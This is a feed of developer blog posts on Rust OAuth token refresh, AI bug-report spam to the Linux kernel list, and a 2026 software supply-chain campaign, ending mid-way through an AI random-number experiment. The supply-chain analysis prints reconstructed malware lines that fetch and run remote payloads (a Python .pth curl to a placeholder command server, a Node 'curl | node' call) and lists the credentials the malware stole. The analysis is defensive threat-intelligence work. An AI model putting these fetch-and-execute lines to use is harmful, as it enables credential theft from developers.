Now, the server doesn't waste space on dead posts, quota remains untouched, and the user gets a seamless, enterprise-grade onboarding experience.

The Next Boss: Background Token Auto-Refresh

We solved the missing credentials problem, but OAuth tokens have notoriously short lifespans (often exactly 1 hour). If a user schedules a post for tomorrow, their token will be expired by the time the scheduler wakes up.

To fix this, we integrated auto-refresh logic directly into our scheduler.rs worker. Right before publishing a post, the scheduler checks the token's expires_at timestamp. If it expires in less than 5 minutes, it transparently refreshes the token via HTTP, saves the new encrypted tokens to the database, and proceeds with the publish cycle.

Here is the implementation:

// src/scheduler.rs

let now = DateTime::now();

// Check if token expires in less than 5 minutes
if now.timestamp_millis() > oauth_token.expires_at.timestamp_millis() - (5 * 60 * 1000) {
    tracing::info!("Refreshing OAuth token for platform {:?}", cred.platform);

    let refresh_token_str = oauth_token.refresh_token_encrypted.as_deref().unwrap_or("");

    // Fetch API keys from environment
    let cid = std::env::var(format!("{:?}_CLIENT_ID", cred.platform).to_uppercase()).unwrap_or_default();
    let csec = std::env::var(format!("{:?}_CLIENT_SECRET", cred.platform).to_uppercase()).unwrap_or_default();

    // Match the platform to its specific refresh logic via reqwest::Client
    let refresh_result = match cred.platform {
        Platform::X => refresh_x_token(&client, refresh_token_str, &cid, &csec, enc_key).await,
        Platform::LinkedIn => refresh_linkedin_token(&client, refresh_token_str, &cid, &csec, enc_key).await,
        Platform::Facebook => refresh_facebook_token(&client, refresh_token_str, &cid, &csec, enc_key).await,
        Platform::Reddit => refresh_reddit_token(&client, refresh_token_str, &cid, &csec, enc_key).await,
        _ => Err(anyhow::anyhow!("Platform unsupported for auto-refresh")),
    };

    if let Ok((new_access_enc, new_refresh_enc, expires_in)) = refresh_result {
        // 1. Decrypt and use the newly fetched token immediately
        let plain_access = crate::crypto::decrypt_token(&new_access_enc, enc_key).unwrap();
        tokens.insert(cred.platform, plain_access);

        // 2. Save the new encrypted tokens back to MongoDB atomically
        let new_expires_at = DateTime::from_millis(now.timestamp_millis() + (expires_in as i64 * 1000));
        let update_doc = doc! {
            "$set": {
                "oauth_token.access_token_encrypted": new_access_enc,
                "oauth_token.refresh_token_encrypted": if new_refresh_enc.is_empty() { None::<String> } else { Some(new_refresh_enc) },
                "oauth_token.expires_at": new_expires_at,
                "updated_at": DateTime::now(),
            }
        };

        creds_col.update_one(doc! { "_id": cred.id.unwrap() }, update_doc).await.unwrap();
        tracing::info!("✅ Successfully saved refreshed token for {:?}", cred.platform);
    }
}

By decoupling the refresh logic into the background worker, the user never experiences HTTP round-trip delays when they click "Schedule" in VS Code. The tokens remain perpetually active as long as they are using the service, and everything happens completely behind the scenes.

Conclusion

By enforcing Strict Separation (validating cloud tokens explicitly on schedule) and leaning into the Fail-Fast design pattern, we protected our backend from pointless processing, saved the users' quotas, and improved the UX significantly.

Coupled with a resilient, auto-refreshing background job, the scheduling architecture is now as robust as the industry giants.

The biggest takeaway for your next API? Don't let your system silently fail. Stop the user at the gate, tell them exactly what they need to do with a structured JSON error, and give the frontend enough context to render a button that solves the problem for them!

(If you haven't read the previous deep dives, check out the full Ship on Schedule.)

Testing DotShare Cloudflare Image Upload

freerave — Sun, 24 May 2026 10:39:45 +0000

Testing Cloudflare R2 Integration

This is a test article to verify that the DotShare Cover Image Upload feature is working perfectly with Cloudflare R2 and the Rust backend.

What are we testing?

Selecting an image via the VS Code extension.
Converting the image to a Buffer via axios instead of native fetch.
Verifying that the Axum Rust server detects the magic bytes correctly.
Ensuring the Cloudflare R2 upload succeeds and returns a public URL.

If you can read this on Dev.to and see the cover image, then the end-to-end media upload pipeline is fully operational! 🚀

Linus Torvalds Just Said What Everyone Was Thinking: AI Bug Spam Is Killing the Linux Kernel Security List

freerave — Sat, 23 May 2026 12:31:41 +0000

AI tools are flooding the Linux kernel's security mailing list with duplicate, low-quality bug reports. Linus Torvalds drew the line. Here's what actually happened, why it matters, and what real contribution looks like.

TL;DR: AI tools lowered the cost of finding potential bugs. They didn't lower the cost of understanding them. When that second step gets skipped at scale, maintainers absorb all the noise. That's what just broke the Linux kernel's security mailing list.

On May 17, 2026, while announcing the fourth release candidate of Linux 7.1, Linus Torvalds did something he rarely does: he stopped talking about code and started talking about people.

Not in a nice way.

His message was direct: the Linux kernel's private security mailing list has become "almost entirely unmanageable." The reason? A relentless, accelerating flood of AI-generated bug reports — duplicate, low-quality, and most damaging of all, written by people who have no idea what they're looking at.

This isn't a minor complaint. It's a signal that a structural problem has reached a breaking point inside one of the most critical open-source projects on the planet.

What Actually Happened

Torvalds posted his weekly "state of the kernel" note alongside the Linux 7.1-rc4 release. Alongside routine notes about driver updates, GPU patches, and filesystem work, he flagged a documentation update — and then explained why that documentation now exists.

The story is straightforward: AI-powered static analysis tools have become cheap and accessible. Researchers and developers have started pointing them at the Linux kernel source tree. The tools find things. Those people then report those things — directly to the private security mailing list — with zero additional investigation.

The result? Multiple people independently scanning the same codebase with the same tools, finding the same issues, and all sending separate reports. Maintainers are spending entire work sessions doing nothing but:

Forwarding reports to the correct subsystem owner (because the sender didn't know who to contact)
Replying with "this was fixed three weeks ago"
Explaining that the reported behavior is not, in fact, a security vulnerability under the kernel's threat model

Torvalds described it bluntly:

"entirely pointless churn... a waste of time for everybody involved."
— Linus Torvalds, Linux 7.1-rc4 announcement

The New Rule: AI Bugs Go Public

The kernel project responded with a documentation update that now formally addresses this. The rule is simple:

If you found a potential bug using an AI tool, you report it publicly — not through the private security list.

This isn't punitive. It's architectural. The private security list exists for coordinated disclosure of genuine, undisclosed, exploitable vulnerabilities. It requires maintainers to treat every incoming report as potentially sensitive, investigate quietly, coordinate patches, and manage disclosure timing. That process has a real cost.

Flooding it with AI-scanner output that hasn't been manually triaged destroys the signal-to-noise ratio that makes the channel valuable in the first place. By routing AI-assisted findings to public channels, the kernel team can apply community triage, filter duplicates openly, and avoid burning out the handful of people who manage private security coordination.

The Real Problem: Nobody Read the Threat Model

Here's the part most coverage glossed over.

A significant portion of these reports aren't just duplicates — they're misclassified. Regular bugs being reported as security vulnerabilities because the person submitting them didn't understand the Linux kernel's threat model.

The Linux kernel has a well-documented threat model. Not everything that looks dangerous in isolation is actually exploitable in a real attack scenario. Memory patterns that look like vulnerabilities to an AI scanner may be:

Intentional design decisions with documented trade-offs
Already behind access controls that prevent exploitation
Not within the kernel's defined attack surface
Already fixed and the reporter just hasn't checked

When someone dumps an AI report without reading the threat model, without checking the bug tracker, without verifying against recent commits — they generate noise dressed as signal. And they force experienced maintainers to spend time they don't have dismantling it.

Torvalds was explicit: he doesn't want drive-by contributors who send a random report and disappear. If you found something, he wants you to:

Understand what you found
Check if it's already fixed
Read the relevant subsystem documentation
Submit a patch, not just a report

Not Everyone Agrees With Torvalds (And That's Fine)

This wouldn't be a real Linux story without disagreement.

In March 2026, kernel maintainer Greg Kroah-Hartman told The Register something different: AI bug reports had shifted from low-quality noise to genuinely useful contributions. His experience was that the quality had improved meaningfully.

Separately, Nvidia kernel engineer Sasha Levin proposed a completely different architectural response — a Linux kernel killswitch mechanism that would allow administrators to disable vulnerable kernel functions temporarily while waiting for patches to land. A defensive posture rather than a gatekeeping one.

So even inside the kernel community, people are landing on different solutions. Torvalds is focused on the noise problem. Levin is thinking about operational response when real bugs exist. Kroah-Hartman sees the glass half full.

All three perspectives are legitimate. The situation is genuinely complex.

What This Looks Like From Outside the Kernel

Step back and the pattern is recognizable anywhere large-scale open source intersects with AI tooling.

AI lowers the cost of finding something. It does not lower the cost of understanding it. The gap between those two things is where the problem lives.

When you run a static analyzer on a 30-million-line codebase and it returns 400 potential issues, the analyst's job — the expensive, skilled, irreplaceable part — is to figure out which 5 of those 400 actually matter. AI accelerated step one. It didn't automate step two.

What's happening in the Linux security list is that people are skipping step two entirely and going straight to reporting. They've mistaken the output of a tool for the output of analysis.

This is a workflow problem masquerading as an AI problem.

The same thing happens in vulnerability research broadly. Automated scanners find candidates. Human researchers validate them. If you remove the validation step and ship the candidates directly, you create noise. The scanner doesn't know what it found. Only the researcher does — after they investigate.

The Contribution Discipline Problem

There's also a more uncomfortable subtext here that's worth naming.

Some portion of this behavior is reputation-seeking. If an AI tool surfaces a potential kernel bug and you file a report, you've done something — you found a Linux kernel vulnerability. That sounds impressive. It doesn't matter if it was already fixed, already known, or not actually a vulnerability. The action itself produces a story you can tell.

This is the gamification of contribution. And it's corrosive to open-source projects at scale because it turns the maintainer's inbox into everyone else's achievement farm.

As someone who maintains open-source CLI tools and VS Code extensions — projects that are nowhere near the scale of the Linux kernel — I can tell you that a single low-quality automated issue report costs more energy to process than it took to generate. You open it hoping it's a real edge case someone hit in production. Instead it's a scanner output with no reproduction steps, no context, and no indication the reporter ever ran the code. That friction kills momentum on a real roadmap.

Real contribution to the Linux kernel — and to any serious open-source project — requires doing the boring, unglamorous work:

Reading documentation nobody told you to read
Tracing code paths through subsystems you didn't write
Checking the git log before filing anything
Writing a patch when you find something real
Accepting that a maintainer might reject it and explaining why

That's not a rant. That's the entry price. The kernel community has always been demanding about this because the stakes are high. You're shipping code that runs in data centers, medical devices, spacecraft, and billions of phones. "I found it with an AI scanner" is not a sufficient bar.

What the Right Process Actually Looks Like

If you want to do AI-assisted security research on the Linux kernel and have it mean something, here's what that process actually requires:

Before you scan:

Read the Linux kernel security documentation
Understand the kernel's documented threat model
Know which subsystem owns what you're about to look at

When the scanner returns results:

For each finding, check the git log: git log --all --oneline -- <file>
Search the mailing list archives for the relevant function or symbol
Check if there's an existing CVE or bug report
Actually read the code the tool flagged — does the behavior make sense in context?

If you believe it's real and unfixed:

If it's a genuine undisclosed security vulnerability: follow the private disclosure process
If it was found via AI tooling: per the new documentation, report it publicly
Write a reproducer if possible
Write a patch if you can

The gold standard:

Report the bug and attach a fix
This is what Torvalds actually wants from external contributors

The Broader Signal

This situation is an early case study in what happens when AI tooling becomes commoditized and the friction of contributing drops toward zero.

Lower friction isn't always better. In systems where quality matters — and the Linux kernel's security process absolutely qualifies — the friction was doing useful work. It filtered out reports from people who hadn't done enough thinking. Remove the friction without replacing it with something else, and you get spam at scale.

The kernel team's response — routing AI-assisted reports publicly, requiring more documentation, being explicit about what they do and don't want — is essentially rebuilding that friction selectively. Not to keep people out, but to ensure that what gets through is worth the cost of processing it.

That's a reasonable response to an unreasonable situation.

What would be more interesting — and what Sasha Levin's killswitch proposal hints at — is whether the kernel community can eventually build infrastructure that uses AI on the maintainer side to triage incoming reports. Use AI to fight AI spam. Several Slashdot commenters made the same point: an LLM with access to the bug tracker and git history could probably classify "likely duplicate / already fixed / not a security issue" at high accuracy with minimal training.

That's the architectural play. Not refusing AI. Not accepting the noise. Building a better filter on the receiving end.

The Bottom Line

Linus Torvalds didn't say AI tools are bad. He said using them without understanding what they're telling you, without doing the subsequent analysis, and without caring whether the report is useful to anyone — that's a waste of everyone's time.

He's right.

AI lowers the cost of finding candidates. It doesn't replace the judgment required to know what you actually found. And when that judgment gets skipped at scale, the maintainers absorbing the impact pay the price.

The new documentation rule is a reasonable line to draw. The harder question — how open-source projects manage contribution quality as AI tooling becomes universal — is one the entire ecosystem is going to have to answer.

The Linux kernel just got there first.

Have you run into AI-generated noise in open-source projects you contribute to or maintain? How are you handling triage at scale? Drop it in the comments.

TeamPCP Broke GitHub — And Nobody Saw It Coming (But They Should Have)

freerave — Fri, 22 May 2026 11:23:23 +0000

A deep technical breakdown of how TeamPCP / UNC6780 ran a 3-month supply chain campaign ending in GitHub's own internal breach. Timeline, attack anatomy, IOCs, and what every developer needs to lock down NOW.

TL;DR: Between March and May 2026, a financially motivated threat group called TeamPCP executed the most sustained developer supply chain campaign in recent history — compromising Trivy, Checkmarx, Bitwarden CLI, axios, TanStack, Mistral AI, OpenAI, and finally GitHub itself. The final vector: a VS Code extension live for 18 minutes. That was enough.

Why I'm Writing This

I've been following the 2026 breach cluster since the ShinyHunters identity-layer pivot. But TeamPCP is a different animal. ShinyHunters went after third-party vendor credentials. TeamPCP went after you — your laptop, your VS Code, your npm tokens, your GitHub PAT sitting in ~/.gitconfig.

If you write code, you are the attack surface. Full stop.

The Actor: Who is TeamPCP / UNC6780?

Alias	Tracker
TeamPCP	Self-identified on BreachForums
UNC6780	Google Threat Intelligence Group
PCPcat	Infrastructure alias
DeadCatx3	Malware signing alias
ShellForge / CipherForce	Operational aliases

Motivation: Purely financial. No geopolitical agenda. They steal credentials, sell data, and run extortion. They've also partnered with ransomware group Vect — signaling a possible pivot from credential theft toward full-scale extortion operations.

Signature tells:

Payloads skip systems with Russian locale (LANG=ru_RU) — Eastern European cybercrime tradecraft
RSA public key reuse across campaigns (Wiz's high-confidence attribution signal)
Shared cipher salt and dead-drop string lineage across malware families
Prefer orphan commits in official repos as payload hosting to evade takedowns
Use steganography (WAV audio files) and .pth persistence for evasion

The Full Timeline: 3 Months of Escalation

Mar 19 ──── Trivy (aquasecurity) → CanisterWorm ICP C2
Mar 25 ──── Checkmarx KICS Docker images
Mar 26 ──── LiteLLM (AI gateway) → .pth persistence
Mar 27 ──── Telnyx SDK → WAV steganography payload
Mar 31 ──── axios 1.14.1 / 0.30.0 → cross-platform RAT [100M weekly DL]
Apr 22 ──── Checkmarx KICS VS Code extension
Apr 27 ──── @bitwarden/cli 2026.4.0 → self-propagating
Apr 29-May 1 ─ Mini Shai-Hulud Wave 1: SAP CAP, PyTorch Lightning, intercom-client
May 11 ──── Mini Shai-Hulud Wave 2: 84 @tanstack/* packages in 6 minutes
May 12 ──── @mistralai/* npm packages (bug in payload — non-functional)
May 12 ──── @uipath/* npm packages
May 13 ──── Shai-Hulud source code published to GitHub under MIT license
May 13 ──── $1,000 Monero supply chain attack contest on BreachForums
May 15 ──── OpenAI discloses 2 compromised employee devices (TanStack vector)
May 19 ──── Microsoft durabletask Python SDK (PyPI) — 28KB payload
May 18 ──── Nx Console v18.95.0 live on VS Code Marketplace [18 minutes]
May 19 ──── GitHub detects breach, starts incident response
May 20 ──── GitHub publicly confirms: ~3,800 internal repos exfiltrated

Attack Anatomy — How Each Wave Worked

Wave 1 (March): Trivy — The Credential Rotation Mistake

The campaign started with a mistake by Aqua Security: incomplete credential rotation after a prior incident.

CVE-2026-33634 (CVSS v4.0: 9.4) — Listed in CISA KEV catalog, remediation deadline April 9, 2026.

1. TeamPCP obtains stale Trivy publish credentials
2. Force-push malicious commits across 76/77 version tags in aquasecurity/trivy-action
3. Payload: CanisterWorm — uses ICP (Internet Computer Protocol) canisters as C2
   → Censorship-resistant command-and-control. Can't be taken down by domain seizure.
4. Any CI pipeline running Trivy: compromised

Why ICP canisters? Traditional C2 infrastructure can be taken down (domain seizure, IP block). ICP runs on a decentralized blockchain. You can't "block" it. This is a meaningful evolution in C2 design.

Wave 2 (Late March): LiteLLM — .pth Persistence

LiteLLM is the AI gateway library. It sits between your app and OpenAI/Anthropic/whatever. Extremely high-value target.

# What the malicious .pth file looked like conceptually:
# /usr/lib/python3.x/site-packages/mal.pth

import subprocess; subprocess.Popen(['curl', '-sS', 'https://[C2]/stage2', '-o', '/tmp/s2'], stdout=subprocess.DEVNULL)

The .pth persistence trick:
Any .pth file in Python's site-packages gets executed on every Python interpreter invocation. Not on install. Not on import. On every single python call on the system.

Developer installs LiteLLM →
Malicious postinstall writes .pth file →
Every subsequent python command = malware execution
Survives pip uninstall of LiteLLM
Survives virtualenv recreation
Only wiped if you manually audit site-packages

Wave 3 (March 27): Telnyx — WAV Steganography

This one is technically elegant and worth understanding.

1. Malicious Telnyx SDK published
2. On import, SDK fetches a .WAV audio file from C2
3. WAV file is decoded: XOR decryption extracts a Windows PE binary
4. Binary executed in-memory
5. Second-stage RAT establishes persistence

Why WAV? Because most egress filters and DLP tools don't inspect audio files for executable content. WAV has no signature that screams "malware." It passes through corporate proxies quietly.

Wave 4 (March 31): axios — 100 Million Weekly Downloads

This is the one that should have been a five-alarm fire for the entire JavaScript ecosystem.

Timeline:
19:41 UTC — axios 1.14.1 published (malicious)
22:47 UTC — axios 0.30.0 published (malicious)  
~23:30 UTC — malicious versions removed
Window: ~3 hours for 1.14.1, ~45 minutes for 0.30.0

Payload: A cross-platform RAT targeting macOS, Windows, and Linux. Not a simple credential stealer — a full Remote Access Trojan.

The scary part: how many npm install runs happened in those 3 hours? How many CI pipelines pulled a fresh install? How many Docker images cached that version?

Wave 5 (April 27): @bitwarden/cli — The Self-Propagating Twist

This is where the campaign got genuinely worm-like.

Install malicious @bitwarden/cli →
Payload executes (credential theft) →
Payload enumerates ALL npm packages the victim can publish →
Injects malicious code into EACH of those packages →
Re-publishes them →
Every downstream user of victim's packages is now infected

This is not a supply chain attack. This is a supply chain worm. One compromised developer with publish access = their entire package portfolio weaponized automatically.

Wave 6 (May 11): TanStack — GitHub Actions Cache Poisoning

This is the most technically sophisticated vector in the campaign. No stolen credentials needed.

Target: @tanstack/react-router — ~12.7 million weekly downloads.

The exploit:
1. Fork the TanStack repository
2. Open a pull request from the fork
3. A GitHub Actions workflow triggers on pull_request with write access to base repo's cache
4. Attacker's code poisons that cache with malicious content
5. Wait for a legitimate release to use the poisoned cache
6. Malicious code injected into build artifacts
7. Release published — clean on the outside, poisoned inside

The critical detail: The workflow had pull_request trigger with cache write permissions. This is a common misconfiguration. The pull_request_target vs pull_request distinction is one of the most dangerous footguns in GitHub Actions.

# DANGEROUS — allows fork PRs to write to base repo cache
on:
  pull_request:

jobs:
  build:
    permissions:
      actions: write  # <-- this is the problem

# SAFER
on:
  pull_request:

jobs:
  build:
    permissions:
      actions: read  # read-only
      contents: read

Result: 84 malicious package versions across 42 @tanstack/* packages published in under 6 minutes between 19:20 and 19:26 UTC.

Victims confirmed:

OpenAI: 2 employee devices compromised, internal repos accessed, code-signing certificates rotated
Mistral AI: 1 developer device, $25,000 extortion demand, claimed 5GB source code

Wave 7 (May 18): Nx Console — The GitHub Kill Shot

Now we get to the main event.

Target: nrwl.angular-console (Nx Console) — 2.2 million installs, verified publisher status.

Timeline:
12:30 UTC May 18 — Malicious v18.95.0 published to VS Code Marketplace
12:36 UTC        — Confirmed live with malicious main.js
12:48 UTC        — Community detection, version pulled (18 minutes)
36 min           — Also pulled from OpenVSX

May 19           — GitHub detects breach on employee device
May 20           — GitHub publicly confirms ~3,800 internal repos exfiltrated

The payload mechanism:

// Simplified reconstruction of what happened in main.js
// (based on OX Security / StepSecurity analysis)

// Normal extension startup...
// ...then silently:

const { execSync } = require('child_process');

// Fetch payload from a planted ORPHAN COMMIT in the official nrwl/nx repo
// This is genius — the payload is hosted on GitHub itself
// The extension publisher can't be blamed, the official repo looks clean
// The orphan commit doesn't appear in git log

const payloadUrl = 'https://raw.githubusercontent.com/nrwl/nx/[orphan-sha]/[hidden-path]/payload.js';

// 498KB obfuscated payload
// Executes within SECONDS of opening any workspace
execSync(`curl -sS ${payloadUrl} | node`, { stdio: 'ignore' });

What the 498KB payload stole:

Targets:
├── 1Password vaults (CLI / desktop integration)
├── GitHub tokens (PATs, OAuth, GHES tokens)
├── npm auth tokens (~/.npmrc)
├── AWS credentials (~/.aws/credentials)
├── Anthropic Claude Code configuration
│   └── API keys, project configs
└── General credential stores

Why "orphan commit" hosting is clever:

# An orphan commit has no parent and doesn't appear in any branch
# It's invisible in normal git log
# But it's still accessible via its SHA

git fetch origin [sha]
git show [sha]:[file]

# The nrwl/nx repo looks completely clean to any auditor
# The payload sits in a dangling object that most scanners miss

The GitHub Breach: Post-Mortem

What Got Taken

Item	Detail
Internal repositories	~3,800 confirmed (GitHub's assessment: "directionally consistent" with attacker claims)
Type	GitHub's own internal corporate codebase
Customer repos	No evidence of impact
User data	No evidence of impact
Price on BreachForums	> $50,000

What GitHub Did Right

May 19, 2026 — Detection (same day as infection)
├── Isolated the compromised endpoint
├── Removed malicious extension version from Marketplace
├── Began rotating high-impact credentials and cryptographic keys
└── Opened internal incident response investigation

May 20, 2026 — Public disclosure (next day)
├── Statement on X with technical summary
├── Investigation ongoing
└── Committed to publishing detailed post-mortem

Detection-to-public-disclosure in under 24 hours is actually good. The problem was the infection happening at all.

What GitHub Did Wrong (Structurally)

An employee ran an auto-updated VS Code extension on a device with access to 3,800 internal repos. The blast radius of a single developer endpoint should never be that large.
No apparent extension allowlisting. The malicious version was on the Marketplace for 18 minutes. With allowlisting + minimum-age policies, this installs nothing.
GitHub still hasn't formally named the extension. This is a transparency problem. The security community identified Nx Console v18.95.0 through independent analysis. Official confirmation matters for incident response across the 2.2M install base.

The Shai-Hulud Worm: Technical Deep Dive

The worm that powered much of this campaign deserves its own section.

Original Shai-Hulud (Sep 2025) — Core Mechanism:

1. Steal npm publish token from compromised environment
2. Enumerate every package that token can reach
3. Inject malicious postinstall hook into each package
4. Re-publish all of them
5. Any developer who installs any of those packages → infected
6. Their tokens stolen → their packages infected
7. Repeat

This is exponential propagation. One stolen token = potentially thousands of downstream packages.

Mini Shai-Hulud evolution (2026):

Added in Nov/Dec 2025:
└── Data-wiping functionality (destructive payload option)

Added in April 2026:
└── No stolen credential needed (GitHub Actions cache poisoning)
└── Cross-registry simultaneous strike (npm + PyPI + RubyGems same 48h window)

Added in May 2026:
└── VS Code extension vector
└── IDE plugin ecosystem targeting
└── Source code open-sourced (MIT license on GitHub)
└── $1,000 Monero "supply chain contest" on BreachForums → copycat actors

The open-sourcing move is a threat multiplier. TeamPCP turned their campaign tool into a platform. Within days of the source code drop, OX Security documented the first copycat campaign from a new actor publishing 4 malicious npm packages using the Shai-Hulud codebase.

IOCs and Detection Signals

Package-Level IOCs

Known malicious versions (rotate credentials if you used these):
├── npm
│   ├── axios 1.14.1, 0.30.0 (March 31, 2026)
│   ├── @bitwarden/cli 2026.4.0
│   ├── @tanstack/react-router [malicious versions, May 11]
│   ├── @tanstack/* (42 packages, May 11, 19:20-19:26 UTC)
│   ├── @mistralai/* (May 12 — payload non-functional)
│   └── @uipath/* (May 12 — payload non-functional)
├── PyPI
│   ├── litellm [March 2026 malicious versions]
│   ├── telnyx 4.87.2
│   └── microsoft-durabletask-worker [May 19, 3 versions]
├── VS Code Marketplace
│   └── nrwl.angular-console 18.95.0 (May 18, 12:30-12:48 UTC)
└── GitHub Actions
    └── aquasecurity/trivy-action [76/77 tags, March 2026]

Behavioral IOCs

# Signs of active Shai-Hulud/TeamPCP infection:

# 1. Unexpected .pth files in site-packages
find /usr/lib/python* /usr/local/lib/python* ~/.local/lib/python* \
  -name "*.pth" -newer /var/log/dpkg.log 2>/dev/null

# 2. Unusual outbound connections during npm install
# Look for curl/node spawned by VS Code extension process

# 3. Orphan commits being fetched
git fsck --lost-found 2>&1 | grep "dangling commit"

# 4. npm token in environment or .npmrc after extension install
grep -r "_authToken" ~/.npmrc ~/.config/npm/ 2>/dev/null

# 5. Payload skip signal (Russian locale check in payload)
# If your env has LANG=ru_RU — payload was designed to skip you

Attribution Fingerprints (Technical)

High confidence (Wiz):
└── Shared RSA public key across Trivy, Telnyx, Nx Console payloads

Medium confidence (Socket, StepSecurity):
├── Shared cipher salt across malware families
└── Dead-drop string lineage (identical URL patterns for orphan commit hosting)

Low confidence:
└── Behavioral overlap with Eastern European cybercrime TTPs
└── Russian locale skip (standard crew protection measure)

The Nx Console Exposure Window: Are YOU Affected?

If you have VS Code with auto-update enabled and Nx Console installed, you need to check.

Exposure window: May 18, 2026
Time (UTC):      12:30 — 12:48 (VS Code Marketplace)
                 12:30 — 13:06 (OpenVSX)

Check your VS Code extension history:

# Check VS Code extension install/update logs
# Linux/macOS:
cat ~/.vscode/extensions/nrwl.angular-console-*/package.json | grep '"version"'

# If you see 18.95.0 — assume full compromise
# Rotate immediately:
# 1. GitHub PATs
# 2. npm auth tokens  
# 3. AWS credentials
# 4. 1Password vault (change master password, regenerate secrets)
# 5. Anthropic API keys (if you use Claude Code)

What Every Developer Should Do Now

Immediate Actions

# 1. Audit GitHub Actions workflows for dangerous permission combos
# Find workflows triggered by pull_request with write permissions:
grep -r "pull_request" .github/workflows/ | grep -v "pull_request_target"
# Then check if any job has: actions: write OR contents: write

# 2. Set minimum token permissions in all workflows
# Add this to every workflow job:
permissions:
  contents: read
  actions: read

# 3. Pin ALL GitHub Actions to full commit SHA (not tags)
# BAD:
uses: actions/checkout@v4
# GOOD:
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

# 4. Audit .pth files in Python environments
find $(python3 -c "import site; print(' '.join(site.getsitepackages()))") \
  -name "*.pth" | xargs cat

# 5. Rotate npm tokens if ANY package in your chain was affected
npm token revoke [old-token]
npm token create --read-only  # or with specific package scope

Structural Hardening

# GitHub Actions: Restrict cache write permissions
# Dangerous pattern — fork PRs can write cache:
on:
  pull_request:
jobs:
  build:
    runs-on: ubuntu-latest
    # Missing explicit permissions = inherits GITHUB_TOKEN defaults (too broad)

# Safe pattern:
on:
  pull_request:
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read        # read source only
      pull-requests: read   # read PR metadata
      # NO actions: write
      # NO packages: write

# VS Code: Disable auto-update for extensions
# Settings → Extensions → Auto Update = false
# Or in settings.json:
"extensions.autoUpdate": false

# Consider extension allowlisting via policy
# For orgs: use VS Code for the Web or GitHub Codespaces 
# where extensions run in isolated containers

Detection at the npm Level

# Before installing any package, check:
# 1. When was this version published?
npm view [package]@[version] time --json

# 2. Does the publish timestamp match a release commit?
# Compare npm publish time vs GitHub release time
# Discrepancy = potential supply chain tampering

# 3. Verify package integrity
npm audit --audit-level=critical
npm pack [package] && tar -tzf [package]-[version].tgz | grep -E "\.sh$|postinstall"

# 4. Check for unexpected postinstall scripts
npm view [package] scripts --json | grep -E "postinstall|preinstall|install"

The Bigger Picture: 2026 as the Year of the Developer Supply Chain

TeamPCP's campaign doesn't exist in a vacuum. They are the sharpest expression of a broader trend that's been building since 2020.

Attack Vector	2020-2023	2024-2026
Initial access	Network perimeter, RDP	Developer laptop, CI/CD
Primary target	Production servers	Developer tooling
Credential source	User phishing	Automated env harvesting
C2 infrastructure	Traditional domains	Decentralized (ICP, IPFS)
Persistence	Cron jobs, systemd	Python .pth, VS Code extensions
Propagation	None / manual	Self-replicating via publish tokens

The threat model has inverted. Your datacenter might be hardened. Your developer laptop running VS Code with 40 extensions and auto-update enabled is the attack surface that matters.

Five Eyes — CISA, NSA, ASD ACSC, CCCS, NCSC-UK, NCSC-NZ — published joint guidance titled "Careful Adoption of Agentic AI Services" on May 1, 2026, covering supply-chain risk for agentic tooling. The timing is not a coincidence.

Why Architecture Beats Prompts (And Beats Patches Too)

The 18 minutes Nx Console was live. The 6 minutes TanStack was being poisoned across 42 packages. The 3 hours axios was distributing a RAT.

Detection is reactive. Patching is reactive. Architecture is proactive.

The developers who weren't hit by these campaigns weren't necessarily smarter or faster. They had:

Explicit npm token scoping (publish only to specific packages)
Extension allowlisting that blocked unapproved versions
GitHub Actions with least-privilege permissions from the start
Developer environments isolated from production credential access
Minimum-age policies on package installs (block anything published < 48h ago)

The perimeter isn't your datacenter. It's your ~/.npmrc.

Resources and References

Security research compiled from public disclosures, vendor advisories, and independent analysis published through May 20, 2026. Attribution assessments follow Wiz (high confidence), Socket and StepSecurity (medium confidence) published frameworks. IOCs may evolve — treat this as a snapshot, not a definitive indicator list.

If this helped you understand what actually happened — share it. Your colleagues who haven't rotated their npm tokens yet need to read this.

I Asked 6 AIs to Pick a Random Number. Their Training Data Confessed Everything.

freerave — Wed, 13 May 2026 18:40:15 +0000

An OSINT-style experiment exposing how LLMs pick 'random' numbers — and what their thought process reveals about their training data.

You've seen the trend. Someone asks an AI: "Pick a random number between 1 and 100."

It says 73. Or 42. Every time.

Funny meme, right? Wrong. That's a training data fingerprint — and if you know how to read it, you can profile an AI's dataset like an OSINT analyst profiles a target.

I ran the experiment properly. 6 models. 3 different prompts. Documented every response — including the thought process.

Here's what I found.

The Setup

Three rounds, same 6 models:

Model	Who built it
Claude Sonnet 4.6	Anthropic
Gemini Pro	Google
Copilot	Microsoft / OpenAI
DeepSeek	DeepSeek AI
GLM-5.1	Zhipu AI
Grok	xAI

Round 1 — Neutral prompt:

Pick a random number between 1 and 100.

Round 2 — Developer context:

I'm a backend developer testing an RNG function.
Pick a random number between 1 and 100.

Round 3 — Anti-bias prompt:

Pick a random number between 1 and 100.
Avoid common human biases and don't pick numbers
that feel "more random" than others.

Round 1: The Baseline

Model	Number
Claude Sonnet 4.6	42
Gemini	42
Copilot	73
DeepSeek	42
GLM-5.1	42
Grok	73

Four out of six said 42. Two said 73. Zero picked anything else.

This isn't a coincidence. This is statistical bias encoded in training data.

The split itself tells a story:

42 = The Hitchhiker's Guide to the Galaxy — beloved by developers, engineers, and tech communities. Heavy representation in developer forums, GitHub READMEs, Stack Overflow jokes.
73 = Sheldon Cooper's "best number" from The Big Bang Theory — massive mainstream internet reach, viral meme status.

The models trained on developer-heavy data picked 42. The models with broader internet exposure picked 73.

You just did OSINT on their training datasets without touching a single file.

[+] Expand Raw Logs: Round 1 (All 6 Models)

Round 2: Context Shifts the Probability Mass

Adding "I'm a backend developer testing an RNG function" — watch what happens:

Model	Round 1	Round 2	Shifted?
Claude	42	47	✅
Gemini	42	73	✅ reversed
Copilot	73	47	✅
DeepSeek	42	42	❌
GLM-5.1	42	82	✅
Grok	73	64	✅ → Power of 2

Grok is the most interesting here. The moment you mention backend development, it shifted to 64 — a power of 2. That's not random. That's 2^6. Grok's training data associated "backend developer + random number" with cryptographic key sizes and memory addressing.

DeepSeek didn't move at all. Still 42. The developer context wasn't strong enough to override its default token probability path.

[+] Expand Raw Logs: Round 2 (Developer Context)

Round 3: The Smoking Guns

This is where it gets dark.

The anti-bias prompt asked every model to consciously avoid picking numbers that "feel more random." The thought processes (for models that expose them) revealed everything.

GLM-5.1's Thought Process — Read This Carefully

GLM showed its full reasoning. Here are the actual steps it went through:

